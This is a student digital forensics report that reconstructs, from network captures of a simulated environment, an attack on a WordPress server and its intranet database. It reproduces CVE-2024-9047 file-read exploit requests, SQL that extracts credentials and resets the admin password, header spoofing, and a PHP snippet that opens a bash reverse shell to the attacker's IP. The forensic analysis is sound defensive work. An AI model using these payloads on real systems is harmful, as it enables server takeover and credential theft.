Digital Forensics

Federico Conti - 4991779

2024/25

Contents

Identification and Mapping of Main IPs ("Main Players")

IP Statistica Analysis

IP A	IP B	Packets	Notes
192.168.100.101	10.0.100.100	3571	HTTP traffic between srv-www and srv-intranet
10.0.200.100	192.168.100.100	3136	traffic from client to DMZ (srv-www)
192.168.100.100	203.0.113.113	2952	DNS to provider-ns (trusted)
58.16.78.90	192.168.100.101	2751	traffic from external IP (simulated Internet)
58.16.122.33	192.168.100.101	1648	other significant traffic from external sources

The IPs 58.16.78.90, 58.16.122.33, 58.16.120.39, and similar belong to the simulated Internet.

- Frequent incoming connections to port 80 of 192.168.100.101 (srv-www) are observed, originated from these external IPs.

IPs such as 104.85.x.x, 104.18.x.x, 34.x.x.x, 13.x.x.x are associated with cloud services.

The address 10.0.200.100 is linked to the most active user within the simulated network, with access to numerous popular sites and services, including Pinterest, eBay, Aranzulla, MyPersonalTrainer, etc.

- Example of filter used: `ssl.handshake.extensions_server_name && ip.addr == 104.85.8.193`

TCP Statistica Analysis

TCP statistics confirm the following relevant patterns:

1. Suspicious communications originated from 192.168.100.101 on high ports (52926, 52944, 52950, 52974, 52934, 52960) directed to 10.0.100.100:80

- Observed flows: `tcp.stream eq 250,255,256,260,253,259`

2. Numerous connections from external IPs (e.g., 58.16.78.90, 58.16.122.33, 58.16.119.40, 58.16.120.x) to 192.168.100.101:80 (internal srv-www)
    - In particular, the IP 58.16.78.90 appears with hundreds of connections and HTTP sessions characterized by significant bidirectional payloads.
    - Examples of flows: `tcp.stream eq 461,441,132,137,298`

CVE-2024-9047 - (58.16.78.90 -> 192.168.100.101:80)

TCP flows confirm a potentially malicious action by an actor attempting to gather information about the **WP File Upload** plugin. The analyzed requests indicate a clear attempt at initial reconnaissance, followed by a targeted exploit aimed at exfiltrating sensitive files from the server.

When

Event	Timestamp	TCP Stream	Details
Information gathering	22:42:09:94	10	GET /wp-content/plugins/wp-file-upload/
First exploit	22:43:34:29	193	POST /wp-content/plugins/wp-file-upload/
Second exploit	22:43:43:57	215	POST /wp-content/plugins/wp-file-upload/

Who/Where

Role	IP Address	Port
Attacker	58.16.78.90	34970,49736,46892
Compromised server	192.168.100.101	80 (srv-www)

What

1. The attacker identified the presence of the **wp-file-upload** plugin and its version.

```
GET /wp-content/plugins/wp-file-upload/css/wordpress_file_upload_style.css?ver=6.8
GET /wp-content/plugins/wp-file-upload/css/wordpress_file_upload_adminbarstyle.css?ver=6.8
GET /wp-content/plugins/wp-file-upload/vendor/jquery/jquery-ui-timepicker-addon.min.js?ver=6.8
```

2. Exploit on OS information

```
POST /wp-content/plugins/wp-file-upload/wfu_file_downloader.php HTTP/1.1
Host: www.potenzio.com
User-Agent: python-requests/2.32.3
...
Cookie: wp_wpfileupload_testupload=Nxploited;
wfu_storage_file123=/etc/issue.net; wfu_download_ticket_ticket123=9876543210987; wfu_ABSPATH=/
...
file=file123&ticket=ticket123&handler=dboption&session_legacy=1&dboption_base=cookies
&dboption_useold=0&wfu_cookie=wp_wpfileupload_testupload
```

3. Exploit on configuration information

```
POST /wp-content/plugins/wp-file-upload/wfu_file_downloader.php HTTP/1.1
Host: www.potenzio.com
User-Agent: python-requests/2.32.3
....
Cookie: wp_wpfileupload_testupload=Nxploited;
wfu_storage_file123=/var/www/html/wp-config.php;
wfu_download_ticket_ticket123=9876543210987; wfu_ABSPATH=/
....
file=file123&ticket=ticket123&handler=dboption&session_legacy=1&dboption_base=cookies
&dboption_useold=0&wfu_cookie=wp_wpfileupload_testupload
```

Exfiltrated content:

```
// ** Database settings //

define( 'DB_NAME', 'wpdb' ); /** The name of the database for WordPress */
define( 'DB_USER', 'wp' ); /** Database username */
define( 'DB_PASSWORD', 'secret4wp' ); /** Database password */
define( 'DB_HOST', '10.0.100.100' ); /** Database hostname */
define( 'DB_CHARSET', 'utf8mb4' ); /** Database charset to use in creating database tables. */
define( 'DB_COLLATE', '' ); /** The database collate type. Don't change this if in doubt. */

/**
 * Authentication unique keys and salts.
 */
define( 'AUTH_KEY','*&xb-+qX)0]kRKF@-Y  Oig}y6f,QBVws)B:sDUA=yEJK.<;4eJ.Ay~g1EfrX-uI' );
...
```

How

The attacker exploited the vulnerability CVE-2024-9047 based on:

- HTTP request manipulation

The client sent a POST request to wfu_file_downloader.php, simulating a legitimate download operation. However, it included malicious parameters such as `wfu_storage_file123=/var/www/html/wp-config.php`, forcing the server to return the configuration file.

- Abuse of session cookies

The client used special cookies (`wp_wpfileupload_testupload=Nxploited`) and a download ticket (`wfu_download_ticket_ticket123=9876543210987`) to bypass the plugin's authorization checks and gain unauthorized access.

Why

Exfiltration of WordPress database configuration files containing:

- Access credentials (username and password)
- Database connection information
- WordPress authentication keys and salts

Wireshark filters used

```
http.request.method == "POST" && http.request.uri contains "/wp-content/plugins/wp-file-upload/"
```

WordPress DB (192.168.100.101 –> 10.0.100.100:80)

Suspicious activity detected involving unauthorized access to the phpMyAdmin panel and attempts to exfiltrate data and compromise the MySQL database.

When

Event	Timestamp	TCP Stream	Details
phpMyAdmin access	22:42:19:53	45	GET /phpmyadmin/ HTTP/1.1
Navigation panel exploration	22:43:54:89	250	GET & POST /phpmyadmin/index.php?route=
Reading wp_users	22:44:40:04	255	GET & POST /phpmyadmin/index.php?route=
Query execution	22:44:32:45	256	GET & POST /phpmyadmin/index.php?route=
Query execution	22:44:06:05	260	GET & POST /phpmyadmin/index.php?route=

Who/Where

Role	IP Address	Port
Attacker	58.16.78.90	38316, 52926, 52950, 52974
Compromised server	10.0.100.100	80 (srv-intranet)
Impersonated host	192.168.100.101	srv-www

What

1. Initial access to the “Welcome to phpMyAdmin” panel

```
GET /phpmyadmin/ HTTP/1.1
Host: 10.0.100.100
User-Agent: gobuster/3.6
Accept-Encoding: gzip
X-Forwarded-For: 58.16.78.90
X-Forwarded-Host: www.potenzio.com
X-Forwarded-Server: 192.168.100.101
Connection: Keep-Alive
```

2. Exploration of the `wpdb` database structure

```
POST `/phpmyadmin/index.php?route=/navigation&ajax_request=1`
```

3. Direct access to the `wpdb` and `wp_users` tables

```
GET `/phpmyadmin/index.php?route=/table/sql&db=wpdb&table=wp_users`
```

4. Execution of SQL queries
   - SQL console opened on the WordPress database

     ```
     GET `/phpmyadmin/index.php?route=/database/sql&db=wpdb`
     ```

   - Credential extraction

```
POST  `/phpmyadmin/index.php?route=/import`
...
`SELECT ID, user_login, user_pass FROM wp_users`
```

5. Modification of the administrator password

```
POST  `/phpmyadmin/index.php?route=/import`
...
UPDATE `wp_users` SET `user_pass` = MD5('byebye') WHERE `wp_users`.`ID` = 1;
```

How

1. The phpMyAdmin panel is publicly exposed, allowing direct access from external IPs.
2. The X-Forwarded-* headers were used to:
    - Mask the real origin (58.16.78.90)
    - Impersonate www.potenzio.com and the internal server 192.168.100.101

Why

Access, modification, and exfiltration of corporate data, specifically:

- WordPress user credentials
- Possible persistent access to the backend through administrator password modification

Wireshark filters used

```
(tcp.stream eq 250 || tcp.stream eq 255 || tcp.stream eq 256
|| tcp.stream eq 260 || tcp.stream eq 253 || tcp.stream eq 259)
&& http.request.method == "GET/POST"

http.request.method == "POST" and http contains "sql_query="
```

CVE-2024-7420 (58.16.78.90 -> 192.168.100.101)

TCP flows confirm a potentially malicious action by an actor with admin privileges who installed the **code-snippets** plugin. Further analysis was conducted to verify exploitation of known vulnerabilities.

When

Event	Timestamp	TCP Stream	Details
Admin login	22:45:15.45	458	POST to /wp-login.php with admin:byebye
Plugin installation	22:45:15.80	461	Navigation and installation of code-snippets
Malicious snippet upload	22:46:21.03	621	POST with file fancy_rnd.json
Remote shell activation	22:47:09.60	730	GET with rand=NTguMTYuNzguOTAvNDQz

Who/Where

Role	IP Address	Port
Attacker	58.16.78.90	51144, 51176, 54012, 44250
Compromised server	192.168.100.101	80 (srv-www)
Reverse shell destination	58.16.78.90	443

What

1. The attacker logged in using the same credentials (admin:byebye) stolen in the previous db attack.

```
POST /wp-login.php
...
log=admin&pwd=byebye
```

2. Access and installation of the plugin through the WordPress dashboard.

```
GET /wp-admin/plugins.php
GET /wp-admin/plugin-install.php
POST /wp-admin/admin-ajax.php HTTP/1.1
slug=code-snippets&action=install-plugin&_ajax_nonce=aad5c50a4b&_fs_nonce=&username=&password=
&connection_type=&public_key=&private_key=
```

3. Upload of the malicious PHP snippet.
    - The snippet contains code to invoke a reverse shell using a base64-decoded IP/port.

```
add_action('init', function() {
    if ( isset($_GET['rand']) ) {
        exec('/bin/bash -c "bash -i >& /dev/tcp/' . base64_decode($_GET['rand']) . ' 0>&1"');
    }
});
```

4. Shell activation.

```
GET /?rand=NTguMTYuNzguOTAvNDQz
```

- echo “NTguMTYuNzguOTAvNDQz” | base64 -d
- 58.16.78.90/443
- The WordPress server initiates an outbound connection to 58.16.78.90:443, establishing an interactive Bash shell.

How

- The attacker exploited the admin credentials modified in the previous attack.
- The vulnerability CVE-2024-7420 was used.

Why

- Gain full control over the web server.
- Exfiltrate sensitive corporate data.
- Potential installation of persistent backdoors.

Wireshark filters used

```
http.request.method == "POST" && http contains "login"
http.request.method == "POST" && http.request.uri contains "code-snippets"
http.request.uri contains "rand="
```